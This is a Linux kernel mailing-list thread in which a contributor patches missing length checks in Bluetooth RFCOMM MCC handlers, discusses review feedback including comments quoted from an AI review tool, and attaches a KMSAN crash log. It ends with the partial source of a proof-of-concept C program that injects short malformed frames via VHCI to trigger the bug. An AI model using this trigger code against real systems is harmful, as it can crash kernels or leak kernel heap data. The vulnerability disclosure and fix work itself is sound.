Linux Kernel Mentees list
 help / color / mirror / Atom feed
* [PATCH] Bluetooth: RFCOMM: validate skb length in MCC handlers
@ 2026-04-12  4:54 SeungJu Cheon
  2026-04-12  7:37 ` Paul Menzel
  2026-04-13 18:19 ` Luiz Augusto von Dentz
  0 siblings, 2 replies; 4+ messages in thread
From: SeungJu Cheon @ 2026-04-12  4:54 UTC (permalink / raw)
  To: linux-bluetooth
  Cc: marcel, luiz.dentz, kees, kuba, me, shuah, linux-kernel-mentees,
	linux-kernel, SeungJu Cheon

rfcomm_recv_pn(), rfcomm_recv_rpn(), rfcomm_recv_rls(), and
rfcomm_recv_msc() cast skb->data to their respective structs
without first checking skb->len. A remote device can send a
short MCC frame, causing out-of-bounds reads from the skb buffer.

For rfcomm_recv_pn(), the uninitialized pn->mtu value is stored
in d->mtu via rfcomm_apply_pn(), then echoed back to the remote
device in the PN response, leaking kernel heap data.

This results in use of uninitialized memory, as reported by KMSAN.

Add explicit skb->len checks against the expected structure size
at the start of each handler before accessing the payload.

=====================================================
BUG: KMSAN: uninit-value in rfcomm_run+0x7eae/0xee90
 rfcomm_run+0x7eae/0xee90
 kthread+0x53f/0x600
 ret_from_fork+0x20f/0x910
 ret_from_fork_asm+0x1a/0x30

Uninit was created at:
 kmem_cache_alloc_node_noprof+0x3cd/0x12d0
 __alloc_skb+0x855/0x1190
 vhci_write+0x125/0x960
 vfs_write+0xbe1/0x15c0
 ksys_write+0x1d9/0x470
 __x64_sys_write+0x97/0xf0
 x64_sys_call+0x2ff0/0x3ea0
 do_syscall_64+0x134/0xf80
 entry_SYSCALL_64_after_hwframe+0x77/0x7f

CPU: 0 UID: 0 PID: 3374 Comm: krfcommd Tainted: G        W           7.0.0-rc7
Hardware name: QEMU Standard PC (i440FX + PIIX, 1996)
Kernel panic - not syncing: kmsan.panic set ...
=====================================================

Fixes: 1da177e4c3f4 ("Linux-2.6.12-rc2")
Signed-off-by: SeungJu Cheon <suunj1331@gmail.com>
---
 net/bluetooth/rfcomm/core.c | 40 +++++++++++++++++++++++++++++--------
 1 file changed, 32 insertions(+), 8 deletions(-)

diff --git a/net/bluetooth/rfcomm/core.c b/net/bluetooth/rfcomm/core.c
index 611a9a94151e..daeba71a1514 100644
--- a/net/bluetooth/rfcomm/core.c
+++ b/net/bluetooth/rfcomm/core.c
@@ -1431,9 +1431,15 @@ static int rfcomm_apply_pn(struct rfcomm_dlc *d, int cr, struct rfcomm_pn *pn)
 
 static int rfcomm_recv_pn(struct rfcomm_session *s, int cr, struct sk_buff *skb)
 {
-	struct rfcomm_pn *pn = (void *) skb->data;
+	struct rfcomm_pn *pn;
 	struct rfcomm_dlc *d;
-	u8 dlci = pn->dlci;
+	u8 dlci;
+
+	if (skb->len < sizeof(*pn))
+		return -EINVAL;
+
+	pn = (void *) skb->data;
+	dlci = pn->dlci;
 
 	BT_DBG("session %p state %ld dlci %d", s, s->state, dlci);
 
@@ -1483,8 +1489,8 @@ static int rfcomm_recv_pn(struct rfcomm_session *s, int cr, struct sk_buff *skb)
 
 static int rfcomm_recv_rpn(struct rfcomm_session *s, int cr, int len, struct sk_buff *skb)
 {
-	struct rfcomm_rpn *rpn = (void *) skb->data;
-	u8 dlci = __get_dlci(rpn->dlci);
+	struct rfcomm_rpn *rpn;
+	u8 dlci;
 
 	u8 bit_rate  = 0;
 	u8 data_bits = 0;
@@ -1495,6 +1501,12 @@ static int rfcomm_recv_rpn(struct rfcomm_session *s, int cr, int len, struct sk_
 	u8 xoff_char = 0;
 	u16 rpn_mask = RFCOMM_RPN_PM_ALL;
 
+	if (skb->len < sizeof(*rpn))
+		return -EINVAL;
+
+	rpn = (void *) skb->data;
+	dlci = __get_dlci(rpn->dlci);
+
 	BT_DBG("dlci %d cr %d len 0x%x bitr 0x%x line 0x%x flow 0x%x xonc 0x%x xoffc 0x%x pm 0x%x",
 		dlci, cr, len, rpn->bit_rate, rpn->line_settings, rpn->flow_ctrl,
 		rpn->xon_char, rpn->xoff_char, rpn->param_mask);
@@ -1589,8 +1601,14 @@ static int rfcomm_recv_rpn(struct rfcomm_session *s, int cr, int len, struct sk_
 
 static int rfcomm_recv_rls(struct rfcomm_session *s, int cr, struct sk_buff *skb)
 {
-	struct rfcomm_rls *rls = (void *) skb->data;
-	u8 dlci = __get_dlci(rls->dlci);
+	struct rfcomm_rls *rls;
+	u8 dlci;
+
+	if (skb->len < sizeof(*rls))
+		return -EINVAL;
+
+	rls = (void *) skb->data;
+	dlci = __get_dlci(rls->dlci);
 
 	BT_DBG("dlci %d cr %d status 0x%x", dlci, cr, rls->status);
 
@@ -1608,9 +1626,15 @@ static int rfcomm_recv_rls(struct rfcomm_session *s, int cr, struct sk_buff *skb
 
 static int rfcomm_recv_msc(struct rfcomm_session *s, int cr, struct sk_buff *skb)
 {
-	struct rfcomm_msc *msc = (void *) skb->data;
+	struct rfcomm_msc *msc;
 	struct rfcomm_dlc *d;
-	u8 dlci = __get_dlci(msc->dlci);
+	u8 dlci;
+
+	if (skb->len < sizeof(*msc))
+		return -EINVAL;
+
+	msc = (void *) skb->data;
+	dlci = __get_dlci(msc->dlci);
 
 	BT_DBG("dlci %d cr %d v24 0x%x", dlci, cr, msc->v24_sig);
 
-- 
2.52.0


^ permalink raw reply related	[flat|nested] 4+ messages in thread

* Re: [PATCH] Bluetooth: RFCOMM: validate skb length in MCC handlers
  2026-04-12  4:54 [PATCH] Bluetooth: RFCOMM: validate skb length in MCC handlers SeungJu Cheon
@ 2026-04-12  7:37 ` Paul Menzel
  2026-04-12 12:39   ` SeungJu Cheon
  2026-04-13 18:19 ` Luiz Augusto von Dentz
  1 sibling, 1 reply; 4+ messages in thread
From: Paul Menzel @ 2026-04-12  7:37 UTC (permalink / raw)
  To: SeungJu Cheon
  Cc: linux-bluetooth, marcel, luiz.dentz, kees, kuba, me, shuah,
	linux-kernel-mentees, linux-kernel

Dear SeungJu,


Thank you for the patch.

Am 12.04.26 um 06:54 schrieb SeungJu Cheon:
> rfcomm_recv_pn(), rfcomm_recv_rpn(), rfcomm_recv_rls(), and
> rfcomm_recv_msc() cast skb->data to their respective structs
> without first checking skb->len. A remote device can send a
> short MCC frame, causing out-of-bounds reads from the skb buffer.

Nice catch. Do you have a reproducer to create such a short MCC frame?

> For rfcomm_recv_pn(), the uninitialized pn->mtu value is stored
> in d->mtu via rfcomm_apply_pn(), then echoed back to the remote
> device in the PN response, leaking kernel heap data.
> 
> This results in use of uninitialized memory, as reported by KMSAN.
> 
> Add explicit skb->len checks against the expected structure size
> at the start of each handler before accessing the payload.
> 
> =====================================================
> BUG: KMSAN: uninit-value in rfcomm_run+0x7eae/0xee90
>   rfcomm_run+0x7eae/0xee90
>   kthread+0x53f/0x600
>   ret_from_fork+0x20f/0x910
>   ret_from_fork_asm+0x1a/0x30
> 
> Uninit was created at:
>   kmem_cache_alloc_node_noprof+0x3cd/0x12d0
>   __alloc_skb+0x855/0x1190
>   vhci_write+0x125/0x960
>   vfs_write+0xbe1/0x15c0
>   ksys_write+0x1d9/0x470
>   __x64_sys_write+0x97/0xf0
>   x64_sys_call+0x2ff0/0x3ea0
>   do_syscall_64+0x134/0xf80
>   entry_SYSCALL_64_after_hwframe+0x77/0x7f
> 
> CPU: 0 UID: 0 PID: 3374 Comm: krfcommd Tainted: G        W           7.0.0-rc7
> Hardware name: QEMU Standard PC (i440FX + PIIX, 1996)
> Kernel panic - not syncing: kmsan.panic set ...
> =====================================================
> 
> Fixes: 1da177e4c3f4 ("Linux-2.6.12-rc2")
> Signed-off-by: SeungJu Cheon <suunj1331@gmail.com>
> ---
>   net/bluetooth/rfcomm/core.c | 40 +++++++++++++++++++++++++++++--------
>   1 file changed, 32 insertions(+), 8 deletions(-)
> 
> diff --git a/net/bluetooth/rfcomm/core.c b/net/bluetooth/rfcomm/core.c
> index 611a9a94151e..daeba71a1514 100644
> --- a/net/bluetooth/rfcomm/core.c
> +++ b/net/bluetooth/rfcomm/core.c
> @@ -1431,9 +1431,15 @@ static int rfcomm_apply_pn(struct rfcomm_dlc *d, int cr, struct rfcomm_pn *pn)
>   
>   static int rfcomm_recv_pn(struct rfcomm_session *s, int cr, struct sk_buff *skb)
>   {
> -	struct rfcomm_pn *pn = (void *) skb->data;
> +	struct rfcomm_pn *pn;
>   	struct rfcomm_dlc *d;
> -	u8 dlci = pn->dlci;
> +	u8 dlci;
> +
> +	if (skb->len < sizeof(*pn))
> +		return -EINVAL;
> +
> +	pn = (void *) skb->data;
> +	dlci = pn->dlci;

gemini/gemini-3.1-pro-preview comments [1]. No idea if it’s a valid comment:

> Before these handlers are reached, rfcomm_recv_mcc() unconditionally casts
> skb->data to struct rfcomm_mcc * and reads mcc->type and mcc->len. Does
> this leave an out-of-bounds read unpatched if a remote device sends an MCC
> frame with 0 or 1 bytes of payload?
> Additionally, if rfcomm_recv_frame() unconditionally trims the FCS with
> skb->len--; skb->tail--;, could a 0-byte payload cause skb->len to
> underflow to UINT_MAX?
> Since skb->len is unsigned, this new check (UINT_MAX < 8) would evaluate to
> false, potentially bypassing this protection entirely.
>   
>   	BT_DBG("session %p state %ld dlci %d", s, s->state, dlci);
>   
> @@ -1483,8 +1489,8 @@ static int rfcomm_recv_pn(struct rfcomm_session *s, int cr, struct sk_buff *skb)
>   
>   static int rfcomm_recv_rpn(struct rfcomm_session *s, int cr, int len, struct sk_buff *skb)
>   {
> -	struct rfcomm_rpn *rpn = (void *) skb->data;
> -	u8 dlci = __get_dlci(rpn->dlci);
> +	struct rfcomm_rpn *rpn;
> +	u8 dlci;
>   
>   	u8 bit_rate  = 0;
>   	u8 data_bits = 0;
> @@ -1495,6 +1501,12 @@ static int rfcomm_recv_rpn(struct rfcomm_session *s, int cr, int len, struct sk_
>   	u8 xoff_char = 0;
>   	u16 rpn_mask = RFCOMM_RPN_PM_ALL;
>   
> +	if (skb->len < sizeof(*rpn))
> +		return -EINVAL;

gemini/gemini-3.1-pro-preview comments [1]:

> Does this unconditionally drop legitimate 1-byte Remote Port Negotiation
> (RPN) requests?
> Looking at the existing code further down in rfcomm_recv_rpn():
>     if (len == 1) {
>         /* This is a request, return default (according to ETSI TS 07.10) settings */
>         ...
> Since sizeof(struct rfcomm_rpn) is 8 bytes, enforcing this minimum length
> would reject valid 1-byte queries allowed by the ETSI TS 07.10 standard.


> +
> +	rpn = (void *) skb->data;
> +	dlci = __get_dlci(rpn->dlci);
> +
>   	BT_DBG("dlci %d cr %d len 0x%x bitr 0x%x line 0x%x flow 0x%x xonc 0x%x xoffc 0x%x pm 0x%x",
>   		dlci, cr, len, rpn->bit_rate, rpn->line_settings, rpn->flow_ctrl,
>   		rpn->xon_char, rpn->xoff_char, rpn->param_mask);
> @@ -1589,8 +1601,14 @@ static int rfcomm_recv_rpn(struct rfcomm_session *s, int cr, int len, struct sk_
>   
>   static int rfcomm_recv_rls(struct rfcomm_session *s, int cr, struct sk_buff *skb)
>   {
> -	struct rfcomm_rls *rls = (void *) skb->data;
> -	u8 dlci = __get_dlci(rls->dlci);
> +	struct rfcomm_rls *rls;
> +	u8 dlci;
> +
> +	if (skb->len < sizeof(*rls))
> +		return -EINVAL;
> +
> +	rls = (void *) skb->data;
> +	dlci = __get_dlci(rls->dlci);
>   
>   	BT_DBG("dlci %d cr %d status 0x%x", dlci, cr, rls->status);
>   
> @@ -1608,9 +1626,15 @@ static int rfcomm_recv_rls(struct rfcomm_session *s, int cr, struct sk_buff *skb
>   
>   static int rfcomm_recv_msc(struct rfcomm_session *s, int cr, struct sk_buff *skb)
>   {
> -	struct rfcomm_msc *msc = (void *) skb->data;
> +	struct rfcomm_msc *msc;
>   	struct rfcomm_dlc *d;
> -	u8 dlci = __get_dlci(msc->dlci);
> +	u8 dlci;
> +
> +	if (skb->len < sizeof(*msc))
> +		return -EINVAL;
> +
> +	msc = (void *) skb->data;
> +	dlci = __get_dlci(msc->dlci);
>   
>   	BT_DBG("dlci %d cr %d v24 0x%x", dlci, cr, msc->v24_sig);
>   


Kind regards,

Paul


[1]: 
https://sashiko.dev/#/patchset/20260412045457.53100-1-suunj1331%40gmail.com

^ permalink raw reply	[flat|nested] 4+ messages in thread

* Re: [PATCH] Bluetooth: RFCOMM: validate skb length in MCC handlers
  2026-04-12  7:37 ` Paul Menzel
@ 2026-04-12 12:39   ` SeungJu Cheon
  0 siblings, 0 replies; 4+ messages in thread
From: SeungJu Cheon @ 2026-04-12 12:39 UTC (permalink / raw)
  To: Paul Menzel
  Cc: linux-bluetooth, marcel, luiz.dentz, kees, kuba, me,
	linux-kernel-mentees, linux-kernel, skhan


[-- Attachment #1.1: Type: text/plain, Size: 7455 bytes --]

Hi Paul,

Thanks for the review.

> Nice catch. Do you have a reproducer to create such a short MCC frame?

Yes, a PoC is attached. It uses VHCI to inject malformed (short) MCC frames.

> Before these handlers are reached, rfcomm_recv_mcc() unconditionally casts
> skb->data to struct rfcomm_mcc * and reads mcc->type and mcc->len.

Good point. I'll add a sizeof(struct rfcomm_mcc) check in rfcomm_recv_mcc()
before accessing these fields in v2.

> if rfcomm_recv_frame() unconditionally trims the FCS with skb->len--;
> could a 0-byte payload cause skb->len to underflow to UINT_MAX?

I'll review rfcomm_recv_frame() and add a minimum length check if needed.

> Does this unconditionally drop legitimate 1-byte RPN requests?

You're right. In v2, I'll update rfcomm_recv_rpn() to first check 1 byte
for DLCI, then validate full struct size only when len > 1.

Thanks,
SeungJu

On Sun, Apr 12, 2026 at 4:38 PM Paul Menzel <pmenzel@molgen.mpg.de> wrote:

> Dear SeungJu,
>
>
> Thank you for the patch.
>
> Am 12.04.26 um 06:54 schrieb SeungJu Cheon:
> > rfcomm_recv_pn(), rfcomm_recv_rpn(), rfcomm_recv_rls(), and
> > rfcomm_recv_msc() cast skb->data to their respective structs
> > without first checking skb->len. A remote device can send a
> > short MCC frame, causing out-of-bounds reads from the skb buffer.
>
> Nice catch. Do you have a reproducer to create such a short MCC frame?
>
> > For rfcomm_recv_pn(), the uninitialized pn->mtu value is stored
> > in d->mtu via rfcomm_apply_pn(), then echoed back to the remote
> > device in the PN response, leaking kernel heap data.
> >
> > This results in use of uninitialized memory, as reported by KMSAN.
> >
> > Add explicit skb->len checks against the expected structure size
> > at the start of each handler before accessing the payload.
> >
> > =====================================================
> > BUG: KMSAN: uninit-value in rfcomm_run+0x7eae/0xee90
> >   rfcomm_run+0x7eae/0xee90
> >   kthread+0x53f/0x600
> >   ret_from_fork+0x20f/0x910
> >   ret_from_fork_asm+0x1a/0x30
> >
> > Uninit was created at:
> >   kmem_cache_alloc_node_noprof+0x3cd/0x12d0
> >   __alloc_skb+0x855/0x1190
> >   vhci_write+0x125/0x960
> >   vfs_write+0xbe1/0x15c0
> >   ksys_write+0x1d9/0x470
> >   __x64_sys_write+0x97/0xf0
> >   x64_sys_call+0x2ff0/0x3ea0
> >   do_syscall_64+0x134/0xf80
> >   entry_SYSCALL_64_after_hwframe+0x77/0x7f
> >
> > CPU: 0 UID: 0 PID: 3374 Comm: krfcommd Tainted: G        W
>  7.0.0-rc7
> > Hardware name: QEMU Standard PC (i440FX + PIIX, 1996)
> > Kernel panic - not syncing: kmsan.panic set ...
> > =====================================================
> >
> > Fixes: 1da177e4c3f4 ("Linux-2.6.12-rc2")
> > Signed-off-by: SeungJu Cheon <suunj1331@gmail.com>
> > ---
> >   net/bluetooth/rfcomm/core.c | 40 +++++++++++++++++++++++++++++--------
> >   1 file changed, 32 insertions(+), 8 deletions(-)
> >
> > diff --git a/net/bluetooth/rfcomm/core.c b/net/bluetooth/rfcomm/core.c
> > index 611a9a94151e..daeba71a1514 100644
> > --- a/net/bluetooth/rfcomm/core.c
> > +++ b/net/bluetooth/rfcomm/core.c
> > @@ -1431,9 +1431,15 @@ static int rfcomm_apply_pn(struct rfcomm_dlc *d,
> int cr, struct rfcomm_pn *pn)
> >
> >   static int rfcomm_recv_pn(struct rfcomm_session *s, int cr, struct
> sk_buff *skb)
> >   {
> > -     struct rfcomm_pn *pn = (void *) skb->data;
> > +     struct rfcomm_pn *pn;
> >       struct rfcomm_dlc *d;
> > -     u8 dlci = pn->dlci;
> > +     u8 dlci;
> > +
> > +     if (skb->len < sizeof(*pn))
> > +             return -EINVAL;
> > +
> > +     pn = (void *) skb->data;
> > +     dlci = pn->dlci;
>
> gemini/gemini-3.1-pro-preview comments [1]. No idea if it’s a valid
> comment:
>
> > Before these handlers are reached, rfcomm_recv_mcc() unconditionally
> casts
> > skb->data to struct rfcomm_mcc * and reads mcc->type and mcc->len. Does
> > this leave an out-of-bounds read unpatched if a remote device sends an
> MCC
> > frame with 0 or 1 bytes of payload?
> > Additionally, if rfcomm_recv_frame() unconditionally trims the FCS with
> > skb->len--; skb->tail--;, could a 0-byte payload cause skb->len to
> > underflow to UINT_MAX?
> > Since skb->len is unsigned, this new check (UINT_MAX < 8) would evaluate
> to
> > false, potentially bypassing this protection entirely.
> >
> >       BT_DBG("session %p state %ld dlci %d", s, s->state, dlci);
> >
> > @@ -1483,8 +1489,8 @@ static int rfcomm_recv_pn(struct rfcomm_session
> *s, int cr, struct sk_buff *skb)
> >
> >   static int rfcomm_recv_rpn(struct rfcomm_session *s, int cr, int len,
> struct sk_buff *skb)
> >   {
> > -     struct rfcomm_rpn *rpn = (void *) skb->data;
> > -     u8 dlci = __get_dlci(rpn->dlci);
> > +     struct rfcomm_rpn *rpn;
> > +     u8 dlci;
> >
> >       u8 bit_rate  = 0;
> >       u8 data_bits = 0;
> > @@ -1495,6 +1501,12 @@ static int rfcomm_recv_rpn(struct rfcomm_session
> *s, int cr, int len, struct sk_
> >       u8 xoff_char = 0;
> >       u16 rpn_mask = RFCOMM_RPN_PM_ALL;
> >
> > +     if (skb->len < sizeof(*rpn))
> > +             return -EINVAL;
>
> gemini/gemini-3.1-pro-preview comments [1]:
>
> > Does this unconditionally drop legitimate 1-byte Remote Port Negotiation
> > (RPN) requests?
> > Looking at the existing code further down in rfcomm_recv_rpn():
> >     if (len == 1) {
> >         /* This is a request, return default (according to ETSI TS
> 07.10) settings */
> >         ...
> > Since sizeof(struct rfcomm_rpn) is 8 bytes, enforcing this minimum length
> > would reject valid 1-byte queries allowed by the ETSI TS 07.10 standard.
>
>
> > +
> > +     rpn = (void *) skb->data;
> > +     dlci = __get_dlci(rpn->dlci);
> > +
> >       BT_DBG("dlci %d cr %d len 0x%x bitr 0x%x line 0x%x flow 0x%x xonc
> 0x%x xoffc 0x%x pm 0x%x",
> >               dlci, cr, len, rpn->bit_rate, rpn->line_settings,
> rpn->flow_ctrl,
> >               rpn->xon_char, rpn->xoff_char, rpn->param_mask);
> > @@ -1589,8 +1601,14 @@ static int rfcomm_recv_rpn(struct rfcomm_session
> *s, int cr, int len, struct sk_
> >
> >   static int rfcomm_recv_rls(struct rfcomm_session *s, int cr, struct
> sk_buff *skb)
> >   {
> > -     struct rfcomm_rls *rls = (void *) skb->data;
> > -     u8 dlci = __get_dlci(rls->dlci);
> > +     struct rfcomm_rls *rls;
> > +     u8 dlci;
> > +
> > +     if (skb->len < sizeof(*rls))
> > +             return -EINVAL;
> > +
> > +     rls = (void *) skb->data;
> > +     dlci = __get_dlci(rls->dlci);
> >
> >       BT_DBG("dlci %d cr %d status 0x%x", dlci, cr, rls->status);
> >
> > @@ -1608,9 +1626,15 @@ static int rfcomm_recv_rls(struct rfcomm_session
> *s, int cr, struct sk_buff *skb
> >
> >   static int rfcomm_recv_msc(struct rfcomm_session *s, int cr, struct
> sk_buff *skb)
> >   {
> > -     struct rfcomm_msc *msc = (void *) skb->data;
> > +     struct rfcomm_msc *msc;
> >       struct rfcomm_dlc *d;
> > -     u8 dlci = __get_dlci(msc->dlci);
> > +     u8 dlci;
> > +
> > +     if (skb->len < sizeof(*msc))
> > +             return -EINVAL;
> > +
> > +     msc = (void *) skb->data;
> > +     dlci = __get_dlci(msc->dlci);
> >
> >       BT_DBG("dlci %d cr %d v24 0x%x", dlci, cr, msc->v24_sig);
> >
>
>
> Kind regards,
>
> Paul
>
>
> [1]:
> https://sashiko.dev/#/patchset/20260412045457.53100-1-suunj1331%40gmail.com
>

[-- Attachment #1.2: Type: text/html, Size: 9259 bytes --]

[-- Attachment #2: dmesg.txt --]
[-- Type: text/plain, Size: 3846 bytes --]

[  441.374768][ T3375] =====================================================
[  441.375140][ T3375] BUG: KMSAN: uninit-value in rfcomm_run+0x7eae/0xee90
[  441.375422][ T3375]  rfcomm_run+0x7eae/0xee90
[  441.375620][ T3375]  kthread+0x53f/0x600
[  441.375801][ T3375]  ret_from_fork+0x20f/0x910
[  441.375998][ T3375]  ret_from_fork_asm+0x1a/0x30
[  441.376213][ T3375] 
[  441.376314][ T3375] Uninit was created at:
[  441.376520][ T3375]  kmem_cache_alloc_node_noprof+0x3cd/0x12d0
[  441.376771][ T3375]  __alloc_skb+0x855/0x1190
[  441.376968][ T3375]  vhci_write+0x125/0x960
[  441.377165][ T3375]  vfs_write+0xbe1/0x15c0
[  441.377353][ T3375]  ksys_write+0x1d9/0x470
[  441.377541][ T3375]  __x64_sys_write+0x97/0xf0
[  441.377742][ T3375]  x64_sys_call+0x2ff0/0x3ea0
[  441.377945][ T3375]  do_syscall_64+0x134/0xf80
[  441.378152][ T3375]  entry_SYSCALL_64_after_hwframe+0x77/0x7f
[  441.378396][ T3375] 
[  441.378503][ T3375] CPU: 1 UID: 0 PID: 3375 Comm: krfcommd Tainted: G        W           7.0.0-rc7-00227-g9a9c8ce300cd #5 PREEMPT(full) 
[  441.378984][ T3375] Tainted: [W]=WARN
[  441.379143][ T3375] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.17.0-9.fc43 06/10/2025
[  441.379513][ T3375] =====================================================
[  441.379782][ T3375] Disabling lock debugging due to kernel taint
[  441.380022][ T3375] Kernel panic - not syncing: kmsan.panic set ...
[  441.380282][ T3375] CPU: 1 UID: 0 PID: 3375 Comm: krfcommd Tainted: G    B   W           7.0.0-rc7-00227-g9a9c8ce300cd #5 PREEMPT(full) 
[  441.380763][ T3375] Tainted: [B]=BAD_PAGE, [W]=WARN
[  441.380969][ T3375] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.17.0-9.fc43 06/10/2025
[  441.381339][ T3375] Call Trace:
[  441.381477][ T3375]  <TASK>
[  441.381602][ T3375]  __dump_stack+0x26/0x30
[  441.381796][ T3375]  dump_stack_lvl+0x50/0x1c0
[  441.382000][ T3375]  ? dump_stack+0x12/0x25
[  441.382195][ T3375]  dump_stack+0x1e/0x25
[  441.382382][ T3375]  vpanic+0x7b4/0x1430
[  441.382573][ T3375]  panic+0x15d/0x160
[  441.382765][ T3375]  ? __msan_metadata_ptr_for_store_1+0x27/0x40
[  441.383042][ T3375]  kmsan_report+0x31a/0x320
[  441.383266][ T3375]  ? __msan_warning+0x1b/0x30
[  441.383481][ T3375]  ? rfcomm_run+0x7eae/0xee90
[  441.383694][ T3375]  ? kthread+0x53f/0x600
[  441.383889][ T3375]  ? ret_from_fork+0x20f/0x910
[  441.384104][ T3375]  ? ret_from_fork_asm+0x1a/0x30
[  441.384325][ T3375]  ? __msan_warning+0x1b/0x30
[  441.384536][ T3375]  ? filter_irq_stacks+0x13f/0x190
[  441.384764][ T3375]  ? kmsan_get_metadata+0xf1/0x160
[  441.384984][ T3375]  ? kmsan_internal_set_shadow_origin+0x7a/0x110
[  441.385262][ T3375]  ? kmsan_get_metadata+0xf1/0x160
[  441.385482][ T3375]  ? kmsan_get_metadata+0xf1/0x160
[  441.385699][ T3375]  ? kmsan_internal_set_shadow_origin+0x7a/0x110
[  441.385975][ T3375]  ? kmsan_get_metadata+0xf1/0x160
[  441.386200][ T3375]  ? kmsan_get_metadata+0xf1/0x160
[  441.386421][ T3375]  ? kmsan_get_shadow_origin_ptr+0x4a/0xb0
[  441.386669][ T3375]  ? __msan_metadata_ptr_for_store_8+0x27/0x40
[  441.386936][ T3375]  ? kmsan_get_metadata+0xf1/0x160
[  441.387162][ T3375]  __msan_warning+0x1b/0x30
[  441.387366][ T3375]  rfcomm_run+0x7eae/0xee90
[  441.387582][ T3375]  ? kmsan_get_metadata+0xf1/0x160
[  441.387807][ T3375]  ? __pfx_woken_wake_function+0x10/0x10
[  441.388054][ T3375]  kthread+0x53f/0x600
[  441.388244][ T3375]  ? __pfx_rfcomm_run+0x10/0x10
[  441.388464][ T3375]  ? __pfx_kthread+0x10/0x10
[  441.388670][ T3375]  ret_from_fork+0x20f/0x910
[  441.388874][ T3375]  ? __switch_to+0x51c/0x750
[  441.389087][ T3375]  ? __pfx_kthread+0x10/0x10
[  441.389295][ T3375]  ret_from_fork_asm+0x1a/0x30
[  441.389514][ T3375]  </TASK>
[  441.389958][ T3375] Kernel Offset: disabled
[  441.390138][ T3375] Rebooting in 86400 seconds..


[-- Attachment #3: poc.c --]
[-- Type: text/x-csrc, Size: 10934 bytes --]

#define _GNU_SOURCE

#include <stdio.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>
#include <stdint.h>
#include <sys/socket.h>
#include <sys/wait.h>
#include <signal.h>
#include <poll.h>

#define AF_BLUETOOTH    31
#define BTPROTO_RFCOMM  3
#define ACL_HANDLE      0x0040
#define L2CAP_CID_SIG   0x0001

#define RFCOMM_SABM     0x2f
#define RFCOMM_UA       0x63
#define RFCOMM_UIH      0xef
#define RFCOMM_MCC_PN   0x20
#define RFCOMM_MCC_RPN  0x24

#define RFCOMM_ADDR(cr, dlci)  (((dlci) << 2) | ((cr) << 1) | 1)
#define RFCOMM_CTRL(type, pf)  (((type) & ~0x10) | ((pf) << 4))

static int vhci_fd;
static uint16_t local_cid = 0x0041;
static uint16_t remote_cid = 0x0040;

static const uint8_t crc_table[256] = {
    0x00, 0x91, 0xe3, 0x72, 0x07, 0x96, 0xe4, 0x75,
    0x0e, 0x9f, 0xed, 0x7c, 0x09, 0x98, 0xea, 0x7b,
    0x1c, 0x8d, 0xff, 0x6e, 0x1b, 0x8a, 0xf8, 0x69,
    0x12, 0x83, 0xf1, 0x60, 0x15, 0x84, 0xf6, 0x67,
    0x38, 0xa9, 0xdb, 0x4a, 0x3f, 0xae, 0xdc, 0x4d,
    0x36, 0xa7, 0xd5, 0x44, 0x31, 0xa0, 0xd2, 0x43,
    0x24, 0xb5, 0xc7, 0x56, 0x23, 0xb2, 0xc0, 0x51,
    0x2a, 0xbb, 0xc9, 0x58, 0x2d, 0xbc, 0xce, 0x5f,
    0x70, 0xe1, 0x93, 0x02, 0x77, 0xe6, 0x94, 0x05,
    0x7e, 0xef, 0x9d, 0x0c, 0x79, 0xe8, 0x9a, 0x0b,
    0x6c, 0xfd, 0x8f, 0x1e, 0x6b, 0xfa, 0x88, 0x19,
    0x62, 0xf3, 0x81, 0x10, 0x65, 0xf4, 0x86, 0x17,
    0x48, 0xd9, 0xab, 0x3a, 0x4f, 0xde, 0xac, 0x3d,
    0x46, 0xd7, 0xa5, 0x34, 0x41, 0xd0, 0xa2, 0x33,
    0x54, 0xc5, 0xb7, 0x26, 0x53, 0xc2, 0xb0, 0x21,
    0x5a, 0xcb, 0xb9, 0x28, 0x5d, 0xcc, 0xbe, 0x2f,
    0xe0, 0x71, 0x03, 0x92, 0xe7, 0x76, 0x04, 0x95,
    0xee, 0x7f, 0x0d, 0x9c, 0xe9, 0x78, 0x0a, 0x9b,
    0xfc, 0x6d, 0x1f, 0x8e, 0xfb, 0x6a, 0x18, 0x89,
    0xf2, 0x63, 0x11, 0x80, 0xf5, 0x64, 0x16, 0x87,
    0xd8, 0x49, 0x3b, 0xaa, 0xdf, 0x4e, 0x3c, 0xad,
    0xd6, 0x47, 0x35, 0xa4, 0xd1, 0x40, 0x32, 0xa3,
    0xc4, 0x55, 0x27, 0xb6, 0xc3, 0x52, 0x20, 0xb1,
    0xca, 0x5b, 0x29, 0xb8, 0xcd, 0x5c, 0x2e, 0xbf,
    0x90, 0x01, 0x73, 0xe2, 0x97, 0x06, 0x74, 0xe5,
    0x9e, 0x0f, 0x7d, 0xec, 0x99, 0x08, 0x7a, 0xeb,
    0x8c, 0x1d, 0x6f, 0xfe, 0x8b, 0x1a, 0x68, 0xf9,
    0x82, 0x13, 0x61, 0xf0, 0x85, 0x14, 0x66, 0xf7,
    0xa8, 0x39, 0x4b, 0xda, 0xaf, 0x3e, 0x4c, 0xdd,
    0xa6, 0x37, 0x45, 0xd4, 0xa1, 0x30, 0x42, 0xd3,
    0xb4, 0x25, 0x57, 0xc6, 0xb3, 0x22, 0x50, 0xc1,
    0xba, 0x2b, 0x59, 0xc8, 0xbd, 0x2c, 0x5e, 0xcf
};

static uint8_t fcs2(uint8_t a, uint8_t c)
{
    return 0xff - crc_table[crc_table[0xff ^ a] ^ c];
}

static uint8_t fcs3(uint8_t a, uint8_t c, uint8_t l)
{
    return 0xff - crc_table[crc_table[crc_table[0xff ^ a] ^ c] ^ l];
}

static void send_cc(uint16_t op, uint8_t *p, int len)
{
    uint8_t pkt[512] = {0x04, 0x0e, 3 + len, 1, op & 0xff, op >> 8};
    memcpy(pkt + 6, p, len);
    write(vhci_fd, pkt, 6 + len);
}

static void send_acl(uint16_t cid, uint8_t *data, int len)
{
    uint8_t pkt[512] = {
        0x02,
        ACL_HANDLE & 0xff,
        ((ACL_HANDLE >> 8) & 0x0f) | 0x20,
        (4 + len) & 0xff, (4 + len) >> 8,
        len & 0xff, len >> 8,
        cid & 0xff, cid >> 8
    };
    memcpy(pkt + 9, data, len);
    write(vhci_fd, pkt, 9 + len);
}

static void send_short_pn(uint8_t dlci)
{
    uint8_t a = RFCOMM_ADDR(1, 0);
    uint8_t c = RFCOMM_CTRL(RFCOMM_UIH, 0);
